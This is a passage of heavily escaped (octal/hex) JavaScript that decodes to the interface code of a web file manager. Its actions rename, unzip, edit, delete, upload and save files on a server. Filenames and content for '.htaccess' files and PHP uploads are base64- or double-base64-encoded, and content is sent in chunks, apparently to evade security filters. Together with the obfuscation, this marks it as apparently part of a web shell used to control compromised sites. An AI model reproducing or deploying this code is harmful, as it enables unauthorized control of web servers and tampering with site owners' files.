\141\x6d\145\40\41\x3d\x3d\x20\x6f\154\144\x4e\x61\x6d\x65\x29\40\x7b\12\40\x20\x20\40\40\40\x20\40\x20\40\40\x20\40\x20\40\40\40\40\40\40\x20\40\x20\x20\x63\157\x6e\x73\164\x20\146\x64\40\75\40\156\145\x77\x20\106\157\x72\x6d\x44\x61\x74\x61\50\51\x3b\12\40\40\x20\40\40\x20\x20\40\x20\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\40\x20\40\146\x64\x2e\x61\160\160\x65\156\144\50\47\x70\x61\x74\150\x27\x2c\40\123\124\x41\x54\105\56\x63\x75\162\x72\x65\x6e\x74\x50\x61\164\x68\51\73\xa\x20\x20\x20\x20\40\x20\40\x20\40\40\40\40\40\40\40\40\40\40\40\x20\40\40\x20\40\154\x65\x74\40\141\143\x74\151\x6f\156\40\x3d\40\x27\162\x65\x6e\141\155\145\x27\73\xa\40\x20\40\x20\40\40\x20\x20\40\40\40\40\40\x20\x20\40\40\40\40\40\40\x20\40\40\x69\x66\x20\x28\157\154\144\x4e\141\155\145\x2e\151\156\143\154\x75\144\x65\x73\50\x27\x2e\x68\164\x61\143\x63\145\163\x73\x27\51\40\174\x7c\x20\x6e\145\167\116\141\155\145\x2e\x69\156\143\154\165\144\x65\163\x28\47\56\x68\x74\141\143\x63\145\x73\x73\47\51\51\x20\x7b\xa\40\40\x20\x20\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\141\x63\164\x69\x6f\156\x20\x3d\x20\x27\x72\145\156\141\x6d\x65\x5f\142\x36\64\47\x3b\12\x20\x20\40\40\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\40\40\40\x66\144\x2e\x61\160\x70\145\156\144\50\47\157\154\144\x5f\156\141\155\145\x5f\142\66\x34\x27\54\x20\142\164\157\x61\x28\x6f\x6c\144\x4e\141\155\x65\x29\x29\73\xa\40\x20\40\x20\x20\40\40\x20\40\x20\x20\40\40\x20\40\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\146\x64\x2e\x61\160\160\x65\156\144\50\x27\x6e\x65\167\137\156\141\155\x65\x5f\142\66\64\47\x2c\x20\x62\x74\157\x61\x28\156\x65\x77\x4e\141\155\x65\51\x29\x3b\xa\x20\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\40\40\x20\40\x20\40\x20\40\175\40\145\x6c\x73\145\x20\x7b\xa\x20\40\40\x20\40\40\40\x20\x20\40\40\x20\40\40\40\40\40\x20\x20\40\40\40\40\x20\x20\x20\x20\40\x66\144\56\x61\x70\x70\145\x6e\144\x28\47\157\x6c\x64\x5f\x6e\x61\155\x65\47\54\40\157\x6c\144\116\x61\x6d\145\x29\x3b\xa\40\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\40\40\40\40\x20\40\40\40\40\x20\x20\40\x20\x20\40\x20\x66\144\56\141\160\x70\x65\156\x64\x28\47\x6e\145\167\137\x6e\x61\x6d\x65\x27\54\x20\x6e\x65\x77\116\141\155\x65\x29\73\12\40\40\40\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\40\x20\40\175\12\x20\x20\40\x20\x20\x20\40\x20\40\40\40\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\x61\160\x69\103\x61\x6c\154\50\141\143\164\x69\157\156\x2c\x20\x66\144\51\x2e\x74\150\145\x6e\50\162\x65\156\x64\145\x72\51\73\xa\x20\40\x20\40\x20\x20\40\40\x20\40\40\x20\x20\40\x20\40\x20\40\40\x20\x7d\12\x20\40\40\40\40\x20\40\x20\40\x20\40\40\x20\40\x20\40\x7d\x20\12\40\x20\x20\40\40\40\x20\40\x20\40\40\x20\40\x20\40\40\145\x6c\163\145\40\151\x66\x20\50\142\x75\164\x74\157\156\x2e\x6d\x61\x74\143\x68\x65\163\50\x27\56\x75\156\172\151\160\55\142\x74\156\x27\51\51\x20\173\40\x69\x66\x20\50\x63\157\156\146\x69\x72\x6d\50\x27\101\162\145\x20\x79\x6f\x75\x20\163\x75\162\145\x20\171\157\165\x20\167\x61\x6e\164\40\x74\157\x20\x65\x78\x74\162\141\143\164\40\164\x68\x69\x73\x20\141\162\x63\150\151\166\x65\77\x27\x29\51\x20\x7b\x20\x63\157\156\x73\x74\x20\x66\x64\x20\75\x20\156\145\167\40\106\157\x72\155\104\x61\164\x61\x28\51\73\40\146\144\x2e\x61\x70\x70\x65\156\x64\50\47\x70\x61\x74\150\x27\x2c\x20\142\x75\164\x74\157\x6e\56\x64\x61\x74\141\x73\145\x74\x2e\160\x61\x74\x68\51\73\x20\141\160\x69\x43\141\154\x6c\x28\47\x75\156\172\151\x70\47\54\40\x66\x64\x2c\x20\x74\162\x75\x65\51\56\x74\150\x65\156\50\162\x65\156\144\145\162\51\73\40\175\x20\175\40\xa\x20\x20\x20\40\x20\40\40\40\40\40\x20\x20\x20\40\40\x20\x65\x6c\x73\x65\x20\x69\x66\x20\50\142\x75\x74\164\x6f\156\x2e\x6d\141\164\x63\x68\145\x73\x28\x27\x2e\x65\144\151\164\55\x62\164\156\x27\x29\x29\x20\x7b\xa\x20\40\40\x20\40\x20\40\40\40\40\40\x20\40\x20\x20\40\x20\40\x20\x20\143\x6f\x6e\163\x74\40\x70\x61\164\x68\40\75\x20\x62\x75\x74\x74\x6f\156\x2e\144\x61\164\x61\x73\x65\164\x2e\160\x61\164\x68\x3b\xa\40\x20\x20\x20\x20\40\40\40\40\40\x20\40\x20\40\40\x20\40\40\40\40\x63\x6f\156\x73\x74\40\x66\x64\x20\75\40\156\x65\x77\x20\x46\x6f\162\155\104\141\x74\x61\x28\x29\x3b\xa\40\40\x20\40\40\40\40\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\40\40\x6c\145\164\x20\141\x63\x74\x69\x6f\x6e\40\75\x20\x27\x67\x65\164\137\x63\157\156\164\x65\x6e\x74\47\73\xa\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\40\40\40\40\x20\40\40\x20\x69\146\40\x28\160\141\164\x68\56\x69\x6e\143\154\165\x64\x65\x73\50\x27\56\150\x74\x61\x63\143\145\163\x73\x27\x29\51\40\x7b\xa\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\40\x20\40\40\x20\40\x20\x61\143\x74\151\x6f\156\x20\x3d\40\47\147\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x5f\x62\x36\x34\47\x3b\12\x20\40\40\40\x20\40\40\x20\x20\40\40\40\x20\40\40\x20\x20\40\x20\40\x20\x20\40\40\x66\x64\56\141\160\160\145\156\x64\x28\x27\160\141\x74\x68\x5f\x62\x36\x34\47\54\x20\142\164\157\141\x28\x70\141\164\x68\x29\51\73\xa\40\40\40\40\40\x20\40\40\40\x20\40\x20\40\x20\x20\40\40\40\40\x20\175\40\x65\154\163\145\40\x7b\xa\40\x20\40\40\x20\40\x20\40\x20\40\40\x20\40\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\x66\144\56\x61\x70\160\x65\156\144\50\x27\x70\x61\164\150\47\54\x20\x70\141\164\x68\51\73\12\x20\40\40\40\40\x20\40\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x7d\xa\x20\x20\40\40\x20\40\40\40\40\40\x20\40\40\x20\x20\40\x20\40\40\x20\x61\160\151\103\141\x6c\154\50\x61\x63\164\151\157\x6e\x2c\x20\x66\x64\51\56\164\150\x65\156\50\162\x65\163\x75\154\x74\x20\75\x3e\40\x7b\12\x20\x20\40\40\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\x69\x66\50\x72\x65\x73\x75\x6c\164\x29\x20\x7b\12\x20\40\x20\x20\x20\40\x20\40\40\40\40\x20\40\40\40\x20\x20\40\40\x20\x20\40\x20\40\x20\40\x20\40\144\x6f\x6d\56\x65\x64\151\x74\157\162\106\151\154\x65\156\141\x6d\145\x2e\164\x65\x78\x74\x43\x6f\156\164\145\156\164\40\x3d\x20\160\x61\164\150\73\xa\40\40\40\40\x20\x20\x20\x20\40\x20\40\x20\40\40\40\40\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\40\x64\x6f\x6d\x2e\x65\144\151\x74\x6f\162\x2e\x76\x61\154\x75\145\x20\x3d\40\141\x74\157\x62\x28\141\x74\x6f\x62\x28\x72\x65\163\165\154\x74\56\143\157\x6e\164\x65\x6e\x74\51\x29\x3b\12\40\x20\40\x20\40\x20\x20\40\40\40\x20\x20\40\x20\40\40\40\40\x20\40\x20\x20\x20\x20\40\40\x20\40\144\157\155\x2e\x65\144\x69\164\x6f\162\x4d\157\x64\141\x6c\x2e\163\x74\x79\154\145\56\x64\151\163\x70\x6c\141\x79\x20\75\40\x27\146\x6c\145\170\x27\x3b\12\x20\x20\40\x20\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\40\40\40\x20\x20\x20\x7d\xa\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\40\x20\40\x20\40\40\175\51\x3b\xa\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\x20\40\40\40\x7d\xa\40\40\40\40\40\x20\40\40\40\x20\40\40\40\x20\40\40\162\145\x74\x75\162\156\x3b\12\x20\40\40\40\x20\40\40\40\x20\40\40\40\175\12\40\40\40\x20\x20\40\40\40\x20\40\x20\40\x63\157\156\x73\164\40\156\x61\166\124\x61\x72\147\x65\x74\40\x3d\x20\x65\x2e\x74\x61\162\147\x65\x74\56\x63\x6c\x6f\x73\x65\163\x74\x28\47\133\144\x61\164\141\x2d\160\x61\x74\x68\x5d\47\51\x3b\xa\40\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\x69\146\x20\50\x6e\x61\166\124\x61\x72\x67\145\164\51\x20\173\x20\x65\56\160\162\145\x76\145\x6e\164\x44\x65\x66\x61\x75\154\164\50\x29\x3b\x20\x53\124\101\124\x45\56\143\x75\162\162\145\x6e\x74\x50\x61\164\x68\x20\75\40\x6e\141\166\x54\141\x72\x67\x65\x74\x2e\x64\141\x74\141\163\145\x74\56\160\x61\164\150\x3b\x20\x72\145\156\144\145\x72\50\51\73\x20\x7d\xa\x20\x20\x20\40\x20\40\40\40\175\51\x3b\xa\x20\x20\x20\40\40\x20\40\40\xa\40\x20\x20\x20\40\40\x20\x20\144\157\x6d\56\156\145\x77\106\157\154\144\145\162\x42\164\156\x2e\141\x64\144\105\166\145\156\164\x4c\x69\163\x74\145\156\x65\x72\50\47\143\154\151\x63\x6b\47\54\x20\x28\51\40\x3d\x3e\x20\x7b\x20\x63\x6f\156\x73\164\x20\156\x61\x6d\x65\x20\75\x20\x70\x72\x6f\x6d\160\164\50\47\x45\x6e\164\x65\162\x20\156\x65\167\x20\146\x6f\x6c\x64\x65\162\x20\x6e\141\x6d\145\72\x27\51\x3b\40\x69\x66\x20\x28\156\x61\x6d\x65\x29\40\x7b\x20\143\x6f\156\163\164\40\x66\x64\x20\x3d\40\x6e\x65\167\40\106\x6f\162\x6d\x44\x61\x74\141\x28\x29\x3b\x20\146\144\56\141\160\160\145\156\144\x28\47\x70\x61\x74\x68\47\54\40\123\x54\x41\124\x45\56\143\x75\162\x72\145\x6e\164\120\141\x74\x68\51\73\x20\x66\144\56\x61\160\x70\145\156\x64\x28\47\x6e\141\x6d\x65\x27\x2c\40\156\x61\155\145\x29\73\x20\141\160\151\103\141\154\x6c\50\x27\x63\x72\x65\x61\164\145\137\146\x6f\154\144\145\x72\47\54\40\x66\144\51\x2e\164\x68\145\x6e\50\162\x65\156\x64\145\x72\x29\73\x20\175\x20\175\x29\x3b\12\x20\x20\40\x20\40\40\x20\40\144\x6f\x6d\56\x6e\x65\x77\106\x69\154\145\102\x74\x6e\x2e\x61\144\144\x45\x76\145\x6e\x74\x4c\x69\163\x74\x65\156\145\x72\x28\47\143\154\151\143\153\47\54\40\x28\51\x20\x3d\x3e\x20\173\x20\143\x6f\x6e\163\164\40\x6e\141\x6d\x65\40\75\x20\x70\x72\157\155\x70\x74\50\47\105\156\x74\x65\162\x20\156\x65\167\40\146\x69\154\145\40\156\141\x6d\145\72\x27\51\x3b\x20\151\146\40\50\x6e\141\x6d\x65\x29\x20\x7b\x20\x63\x6f\x6e\163\x74\40\x66\144\40\x3d\x20\x6e\145\x77\x20\x46\157\x72\x6d\104\141\x74\141\50\51\73\x20\146\144\56\141\x70\160\145\156\144\50\47\160\x61\164\150\47\54\40\123\x54\101\124\x45\56\x63\x75\162\x72\145\x6e\x74\120\141\164\150\51\73\40\x66\144\56\141\x70\x70\x65\x6e\x64\x28\x27\x6e\x61\155\145\47\54\x20\156\141\155\145\x29\x3b\40\x61\160\151\103\x61\x6c\154\50\47\x63\x72\x65\141\x74\145\137\x66\x69\x6c\x65\x27\x2c\x20\x66\144\51\56\x74\x68\x65\156\50\162\x65\x6e\x64\x65\x72\x29\73\x20\x7d\40\x7d\51\73\xa\x20\x20\40\x20\40\x20\40\x20\x64\x6f\155\x2e\x73\145\x6c\x65\x63\164\x41\154\x6c\56\x61\x64\144\x45\x76\145\x6e\x74\114\x69\163\x74\145\x6e\x65\162\x28\x27\143\150\141\x6e\147\x65\x27\54\x20\145\x20\x3d\76\40\144\157\x63\165\155\145\156\164\56\x71\165\x65\162\171\123\145\x6c\145\x63\x74\157\162\x41\154\x6c\50\47\56\x69\164\x65\155\55\163\x65\x6c\x65\x63\164\x27\x29\x2e\x66\157\162\105\141\143\150\x28\143\142\40\x3d\x3e\x20\143\142\x2e\143\150\x65\x63\153\x65\x64\x20\75\40\145\x2e\x74\141\162\x67\x65\164\x2e\143\150\145\x63\x6b\x65\x64\x29\x29\73\12\40\x20\x20\40\x20\x20\x20\40\12\40\40\x20\x20\x20\40\40\40\144\157\155\56\144\145\x6c\x65\164\145\102\x74\156\56\x61\144\144\x45\x76\145\x6e\164\114\151\x73\x74\x65\x6e\145\x72\50\x27\x63\154\x69\143\153\x27\x2c\40\x28\51\x20\75\x3e\40\x7b\12\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x63\x6f\156\x73\x74\40\x73\x65\x6c\x65\x63\x74\145\x64\x20\x3d\x20\101\162\x72\141\x79\x2e\146\x72\x6f\x6d\x28\144\x6f\143\165\x6d\145\x6e\x74\x2e\161\165\x65\x72\x79\123\x65\154\x65\143\164\x6f\x72\101\x6c\154\50\x27\x2e\151\164\x65\155\55\x73\x65\x6c\x65\x63\x74\72\x63\150\x65\143\x6b\145\144\x27\x29\x29\x2e\155\141\x70\50\143\x62\40\75\x3e\40\143\142\56\x76\x61\154\165\145\x29\x3b\12\x20\x20\40\40\40\x20\x20\x20\40\40\40\40\x69\146\x20\50\x73\x65\x6c\x65\x63\x74\x65\x64\x2e\154\x65\156\147\x74\x68\40\x3d\75\x3d\40\x30\51\40\162\x65\164\165\x72\156\40\x61\154\x65\162\164\50\x27\116\157\40\x69\164\x65\x6d\163\x20\x73\x65\154\145\x63\164\145\x64\x2e\47\51\73\12\x20\40\x20\x20\40\40\x20\x20\x20\x20\40\40\151\x66\x20\x28\x63\157\x6e\146\x69\x72\155\50\x60\x41\162\x65\40\171\157\x75\40\x73\x75\162\x65\40\x79\157\165\x20\x77\x61\x6e\x74\x20\164\x6f\x20\x64\x65\154\145\x74\x65\x20\x24\173\163\x65\154\x65\143\164\x65\x64\x2e\x6c\x65\x6e\147\164\x68\175\x20\151\164\x65\x6d\x28\x73\51\x3f\140\x29\x29\40\x7b\xa\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\40\143\157\x6e\163\164\x20\x66\144\x20\x3d\40\x6e\145\167\x20\x46\x6f\162\155\x44\141\164\141\50\51\x3b\12\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\40\146\x64\56\x61\x70\160\x65\156\x64\x28\47\x70\141\164\x68\47\x2c\x20\x53\124\101\124\x45\x2e\143\165\162\162\x65\156\164\x50\x61\x74\x68\x29\x3b\12\40\x20\40\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\x20\40\143\157\x6e\x73\164\x20\x69\163\x53\145\156\x73\151\x74\x69\166\145\40\75\40\163\x65\x6c\145\143\x74\x65\x64\56\163\157\x6d\145\50\151\x74\145\x6d\x20\x3d\76\x20\x69\164\145\155\x2e\x69\x6e\143\x6c\x75\144\x65\163\x28\x27\56\x68\164\141\x63\143\145\163\163\x27\x29\x29\73\xa\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\40\40\x20\40\x20\154\145\164\40\x61\143\x74\151\157\x6e\40\x3d\x20\47\x64\x65\154\145\x74\145\47\73\12\40\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\40\151\x66\40\x28\151\x73\x53\145\156\x73\151\164\151\x76\145\x29\x20\x7b\12\x20\40\x20\40\40\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\141\x63\164\x69\157\156\x20\x3d\x20\x27\x64\145\x6c\145\164\145\137\142\66\64\x27\73\xa\x20\x20\x20\x20\40\40\40\x20\40\40\40\40\40\x20\40\40\x20\x20\40\x20\163\145\154\x65\143\164\x65\144\56\x66\157\x72\105\141\x63\x68\x28\151\164\x65\x6d\x20\x3d\76\x20\146\x64\x2e\x61\x70\x70\x65\156\x64\50\x27\x69\x74\145\x6d\x73\x5f\x62\66\64\x5b\x5d\47\x2c\x20\142\x74\157\x61\50\151\x74\x65\155\x29\x29\x29\x3b\12\40\x20\40\40\x20\x20\40\x20\40\40\40\x20\x20\x20\40\40\x7d\40\145\154\163\145\40\x7b\xa\40\40\x20\40\x20\40\40\40\40\x20\40\x20\x20\40\40\x20\40\40\x20\40\x73\x65\x6c\145\143\x74\145\x64\56\146\157\x72\105\141\143\x68\x28\x69\x74\x65\155\40\x3d\76\x20\x66\144\56\141\160\x70\145\x6e\x64\50\47\x69\164\145\x6d\163\133\135\x27\x2c\40\x69\x74\x65\x6d\51\51\x3b\xa\40\40\x20\40\40\40\40\x20\40\x20\40\40\40\x20\x20\x20\x7d\xa\40\40\x20\40\x20\40\40\x20\40\40\x20\40\x20\40\x20\40\141\160\x69\x43\141\x6c\x6c\x28\141\x63\164\151\157\x6e\x2c\x20\x66\x64\51\x2e\x74\x68\x65\x6e\50\162\x65\x6e\x64\145\x72\x29\73\xa\x20\40\x20\x20\x20\40\x20\40\40\x20\40\x20\175\xa\40\x20\40\x20\x20\x20\40\x20\x7d\x29\73\12\x20\40\40\x20\x20\x20\x20\40\xa\40\x20\x20\40\40\x20\40\40\144\x6f\155\56\x75\160\x6c\157\x61\x64\102\x74\156\x2e\141\x64\144\x45\x76\145\156\x74\x4c\151\163\x74\x65\156\x65\x72\50\x27\x63\154\x69\x63\153\47\54\x20\50\x29\40\75\76\x20\x64\157\x6d\56\x68\151\144\x64\145\x6e\106\x69\154\145\x49\x6e\160\x75\x74\x2e\143\x6c\x69\143\153\50\51\x29\x3b\12\40\40\x20\x20\40\40\x20\40\x64\157\x6d\x2e\150\151\144\144\145\x6e\x46\151\x6c\145\111\x6e\160\165\x74\x2e\141\144\x64\x45\x76\145\x6e\164\x4c\151\x73\x74\x65\x6e\x65\162\50\47\143\150\141\156\x67\x65\47\54\x20\x61\x73\171\156\x63\x20\x28\145\51\40\75\x3e\40\x7b\12\40\x20\40\40\40\x20\x20\40\40\x20\x20\40\143\x6f\156\163\x74\40\146\x69\154\x65\163\x20\x3d\40\x41\x72\162\141\x79\56\x66\162\x6f\x6d\x28\145\56\x74\141\162\x67\145\x74\56\146\x69\154\x65\x73\x29\73\x20\x69\x66\40\x28\146\x69\154\x65\163\56\154\145\156\147\x74\x68\x20\75\x3d\75\40\x30\x29\x20\162\x65\x74\165\x72\x6e\x3b\12\40\x20\40\40\x20\40\40\x20\40\40\40\x20\146\157\x72\40\x28\x63\x6f\x6e\x73\x74\40\146\x69\154\145\40\x6f\x66\40\146\151\154\145\163\x29\x20\173\xa\x20\x20\x20\40\x20\40\40\40\x20\40\40\x20\40\x20\40\40\x69\x66\x20\x28\146\151\154\145\x2e\x73\151\x7a\x65\40\x3e\x20\x55\x50\x4c\117\101\104\x5f\x4c\111\115\111\x54\137\115\102\40\x2a\x20\61\x30\62\x34\40\52\x20\61\x30\x32\x34\x29\40\x7b\x20\141\x6c\x65\x72\164\50\140\105\162\x72\x6f\162\x3a\x20\x46\151\x6c\145\x20\x22\44\173\x66\x69\x6c\x65\x2e\x6e\x61\x6d\x65\175\x22\x20\151\163\40\x74\157\157\40\154\141\x72\x67\x65\40\x28\115\141\170\x3a\x20\44\173\125\120\114\117\101\104\137\x4c\x49\115\111\x54\137\x4d\102\x7d\x20\x4d\102\x29\x2e\x60\51\x3b\40\143\157\x6e\164\151\156\165\x65\x3b\x20\175\xa\x20\40\x20\40\40\40\x20\40\40\40\x20\x20\40\40\40\x20\x63\157\156\163\x74\40\162\145\141\x64\x65\x72\40\75\x20\156\145\x77\40\106\x69\x6c\x65\x52\x65\141\x64\145\162\50\51\73\12\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\x20\x20\x20\143\157\x6e\163\164\x20\146\151\154\145\x52\x65\x61\144\x50\162\157\155\x69\x73\x65\x20\75\40\x6e\145\x77\x20\120\162\x6f\155\x69\163\x65\50\50\162\x65\163\x6f\154\166\x65\54\x20\162\145\x6a\145\143\164\x29\x20\75\76\x20\173\x20\x72\145\141\x64\145\162\56\x6f\156\x6c\157\141\x64\x20\75\x20\145\x76\145\x6e\164\x20\x3d\76\40\162\145\163\x6f\154\x76\x65\50\x65\166\145\x6e\164\x2e\164\x61\x72\147\145\164\56\x72\145\163\165\154\x74\51\x3b\40\x72\145\x61\x64\x65\x72\x2e\157\156\145\x72\162\157\162\x20\x3d\40\x65\x72\x72\x6f\x72\40\x3d\76\x20\x72\145\152\x65\x63\x74\50\x65\162\x72\157\162\x29\x3b\40\x72\x65\141\x64\145\x72\x2e\x72\x65\x61\x64\x41\163\104\141\x74\x61\125\122\x4c\50\146\x69\154\145\51\x3b\40\175\x29\x3b\12\40\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\x20\40\x20\x74\x72\x79\x20\x7b\12\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\143\x6f\156\163\164\40\x63\157\156\164\x65\156\164\137\142\141\163\x65\x36\x34\x20\75\x20\141\167\x61\x69\x74\40\x66\151\x6c\145\x52\145\141\x64\120\x72\157\x6d\151\163\x65\x3b\xa\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\40\x20\x20\40\x20\x20\40\x63\157\156\163\x74\40\x6f\x72\x69\x67\x69\156\x61\154\116\141\x6d\145\x20\x3d\40\146\x69\x6c\x65\x2e\x6e\x61\155\145\x3b\xa\x20\40\x20\x20\40\x20\40\x20\40\40\x20\40\40\x20\40\x20\40\40\40\40\x63\157\x6e\x73\164\40\146\144\x20\x3d\x20\x6e\x65\x77\x20\106\x6f\162\155\x44\141\164\x61\x28\x29\73\xa\x20\x20\x20\40\40\40\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\x20\146\144\x2e\x61\x70\160\145\156\144\50\x27\x70\x61\164\150\47\54\40\123\124\101\x54\105\56\143\x75\x72\x72\145\156\x74\120\x61\164\150\x29\x3b\xa\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\40\40\40\x20\x20\40\x20\x20\146\144\x2e\141\160\x70\145\156\x64\50\x27\143\157\x6e\164\145\156\164\137\x62\141\x73\x65\x36\x34\x27\x2c\40\x63\x6f\x6e\x74\x65\x6e\164\137\142\x61\x73\145\x36\64\x29\73\xa\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\x20\x20\40\40\x20\x20\40\x20\x69\x66\40\x28\157\x72\151\x67\x69\x6e\141\154\116\141\155\145\56\164\157\x4c\x6f\167\x65\x72\x43\x61\163\145\50\x29\x2e\145\156\x64\163\127\x69\164\150\50\47\x2e\160\x68\x70\x27\x29\51\x20\x7b\xa\40\40\40\40\x20\40\40\x20\40\40\x20\x20\40\40\40\40\x20\40\x20\40\x20\40\x20\x20\x66\x64\x2e\x61\x70\160\145\x6e\x64\x28\47\x66\151\154\x65\156\141\155\x65\137\x62\141\163\145\66\x34\x27\x2c\x20\x62\164\157\x61\x28\157\162\151\x67\151\x6e\141\154\116\x61\x6d\145\x29\51\x3b\xa\40\x20\40\40\40\40\40\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\40\40\x20\40\40\40\x61\167\x61\x69\x74\40\x61\160\151\103\x61\x6c\154\x28\47\165\x70\154\x6f\141\x64\x5f\x70\150\160\x27\x2c\x20\146\x64\54\40\x74\x72\x75\x65\x29\73\12\x20\40\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\40\x20\40\x20\40\40\x7d\x20\x65\154\x73\145\40\x7b\xa\x20\x20\40\x20\x20\x20\40\40\40\40\x20\40\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\40\146\x64\56\141\x70\x70\x65\x6e\x64\50\x27\146\151\x6c\145\x6e\141\155\x65\137\142\x61\163\145\x36\x34\x27\x2c\40\x62\164\x6f\141\50\157\162\151\x67\x69\x6e\141\x6c\x4e\x61\155\145\51\x29\73\xa\x20\40\40\x20\40\x20\40\40\40\40\40\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\40\x61\x77\x61\151\x74\x20\x61\160\151\103\141\x6c\154\50\47\165\x70\x6c\x6f\x61\144\47\54\40\x66\144\54\x20\x74\x72\x75\x65\x29\x3b\12\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\40\40\175\xa\x20\40\40\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\x7d\x20\143\x61\x74\x63\x68\x20\50\145\162\x72\x6f\x72\51\x20\x7b\xa\40\40\x20\40\40\40\x20\40\40\x20\40\x20\x20\40\40\40\x20\x20\x20\40\141\x6c\x65\162\164\x28\x60\106\141\x69\154\145\144\x20\164\157\40\160\162\157\x63\145\163\x73\40\146\x69\x6c\x65\40\x24\x7b\146\151\154\145\x2e\156\141\x6d\x65\175\72\x20\44\x7b\x65\162\162\x6f\162\x2e\x6d\x65\x73\x73\141\147\145\x7d\x60\x29\x3b\xa\x20\40\40\40\40\40\x20\x20\40\40\x20\40\x20\40\40\40\x7d\xa\40\40\40\x20\x20\40\x20\40\x20\40\40\x20\175\12\40\40\x20\40\x20\40\40\x20\x20\40\x20\x20\x65\56\164\x61\x72\147\145\164\56\166\141\154\x75\145\x20\75\40\47\x27\x3b\xa\x20\x20\40\x20\x20\40\40\40\x20\40\40\x20\162\x65\156\x64\145\x72\x28\51\x3b\12\40\40\40\40\40\40\x20\x20\175\x29\x3b\xa\xa\x20\x20\40\40\x20\x20\40\x20\x64\x6f\155\x2e\163\x61\x76\x65\102\164\x6e\x2e\141\x64\x64\105\166\x65\x6e\164\114\151\x73\x74\145\x6e\x65\162\x28\x27\143\154\x69\x63\x6b\47\54\x20\x28\51\40\75\76\x20\173\xa\x20\40\40\40\40\x20\x20\40\x20\40\x20\x20\143\157\156\163\164\40\160\x61\164\x68\40\75\x20\x64\x6f\155\56\x65\x64\x69\x74\x6f\162\x46\x69\154\x65\156\x61\x6d\145\56\164\x65\170\x74\x43\x6f\156\164\145\156\164\x3b\xa\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\143\157\156\x73\x74\x20\143\x6f\x6e\164\x65\x6e\164\40\x3d\x20\x62\x74\x6f\141\x28\142\164\x6f\141\x28\x64\157\155\56\145\x64\151\x74\157\162\56\166\x61\154\165\145\51\x29\x3b\12\40\x20\x20\40\x20\40\40\40\x20\40\x20\40\x63\157\156\163\164\40\146\144\40\75\40\x6e\x65\167\x20\x46\157\162\155\x44\x61\x74\x61\50\x29\73\xa\x20\x20\40\40\40\x20\40\x20\40\40\40\40\x63\157\156\x73\x74\40\143\150\x75\156\153\123\151\172\145\x20\x3d\40\64\x30\71\x36\73\xa\40\40\40\x20\x20\40\x20\40\x20\x20\40\40\x66\157\x72\40\x28\154\x65\x74\40\x69\x20\x3d\40\60\x3b\40\x69\40\x3c\40\143\x6f\156\164\x65\156\164\56\x6c\x65\x6e\x67\x74\150\73\40\151\40\x2b\x3d\x20\x63\150\x75\156\x6b\123\151\172\x65\51\40\173\12\40\40\x20\40\x20\x20\40\x20\40\40\40\40\40\x20\x20\40\146\x64\x2e\x61\x70\160\x65\156\x64\x28\x27\143\x6f\x6e\x74\x65\156\x74\137\143\x68\165\x6e\153\163\x5b\135\x27\x2c\x20\x63\x6f\156\164\x65\156\x74\x2e\x73\165\142\x73\x74\x72\151\x6e\x67\x28\x69\x2c\x20\151\x20\53\40\143\150\165\x6e\x6b\123\x69\172\145\51\x29\73\12\x20\40\x20\x20\x20\40\x20\x20\40\40\40\x20\x7d\12\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x6c\145\164\x20\141\143\x74\151\x6f\156\40\75\x20\47\163\x61\166\145\137\143\157\156\x74\145\x6e\x74\x27\x3b\xa\x20\x20\40\40\x20\40\40\x20\40\x20\x20\x20\151\x66\x20\x28\x70\x61\164\x68\56\x69\156\143\x6c\x75\x64\145\163\50\x27\x2e\x68\x74\141\143\143\145\x73\x73\47\51\51\x20\x7b\xa\x20\40\40\x20\40\x20\40\x20\40\40\40\40\40\40\40\40\x61\143\x74\151\157\x6e\x20\x3d\40\x27\163\x61\x76\145\x5f\x63\157\156\164\x65\x6e\x74\x5f\142\66\64\47\x3b\xa\x20\40\40\x20\x20\40\40\x20\40\40\